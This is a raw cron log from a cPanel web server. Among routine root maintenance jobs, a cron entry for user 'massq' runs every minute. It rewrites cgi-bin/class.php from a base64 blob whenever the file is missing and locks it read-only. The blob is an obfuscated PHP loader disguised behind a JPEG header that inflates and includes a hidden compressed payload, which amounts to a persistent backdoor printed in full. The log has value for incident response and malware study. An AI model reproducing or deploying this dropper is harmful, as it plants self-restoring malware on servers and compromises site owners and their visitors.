Sep  7 07:08:01 server CROND[21346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:08:01 server CROND[21347]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:09:01 server CROND[21783]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:09:01 server CROND[21784]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:09:01 server CROND[21786]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 07:09:01 server CROND[21785]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:10:01 server CROND[22182]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:10:01 server CROND[22183]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:10:01 server CROND[22186]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 07:10:01 server CROND[22188]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:10:01 server CROND[22184]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:10:01 server CROND[22187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:10:01 server CROND[22185]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:10:01 server CROND[22191]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:11:01 server CROND[23281]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:11:01 server CROND[23282]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:11:01 server CROND[23283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:12:02 server CROND[23666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:12:02 server CROND[23668]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:12:02 server CROND[23669]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 07:12:02 server CROND[23667]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:13:01 server CROND[24098]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:13:01 server CROND[24099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:13:01 server CROND[24100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:14:01 server CROND[24481]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:14:01 server CROND[24483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:14:01 server CROND[24484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:15:01 server CROND[24876]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:15:01 server CROND[24878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:15:01 server CROND[24879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:15:01 server CROND[24880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:15:01 server CROND[24882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 07:15:01 server CROND[24884]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 07:15:01 server CROND[24887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:15:01 server CROND[24881]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 07:16:01 server CROND[25815]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:16:01 server CROND[25816]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:16:01 server CROND[25817]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:17:01 server CROND[26214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:17:01 server CROND[26215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:17:01 server CROND[26213]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:18:01 server CROND[26645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:18:01 server CROND[26646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:18:01 server CROND[26647]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:19:01 server CROND[27020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 07:19:01 server CROND[27021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 07:19:01 server CROND[27022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 07:20:01 server CROND[27408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 07:20:01 server CROND[27409]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 07:20:01 server CROND[27418]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
